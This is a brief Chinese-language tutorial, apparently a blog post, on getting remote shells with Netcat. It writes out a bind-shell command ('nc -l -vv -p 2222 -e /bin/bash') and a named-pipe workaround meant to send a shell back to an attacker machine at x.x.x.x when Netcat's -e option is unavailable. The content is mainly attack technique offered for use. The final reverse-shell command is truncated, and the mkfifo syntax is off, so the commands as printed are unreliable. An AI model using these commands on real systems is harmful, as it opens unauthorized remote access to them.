在渗透测试与远程运维场景中,反弹 shell 是最常用的技术手段之一。Netcat(简称 NC)作为经典网络工具,原生即可实现这一功能——直接执行下面这条命令:
nc -l -vv -p 2222 -e /bin/bash
但在实际渗透过程中,经常会遇到 NC 的 -e 参数被禁用,或者目标系统根本没有预装原生 Netcat 的情况。此时就需要换一种思路:利用管道(FIFO 命名管道)来接力完成反弹 shell 的连接。
首先在 /tmp 目录下创建一个普通命名管道:
mknod /tmp/backpipe p 或者 mkfifo /tmp/backpipe p
接着将管道的一端接入 shell,另一端通过 Netcat 反弹到攻击机(假设攻击机 IP 为 x.x.x.x,监听端口为 listenport):
/bin/sh 0/tmp/backpipe

PS:攻防对抗的本质就是思路的反复博弈。将常规操作稍作反转,往往能打开全新的突破口,这也是渗透测试中反弹 shell 技巧的核心魅力所在。
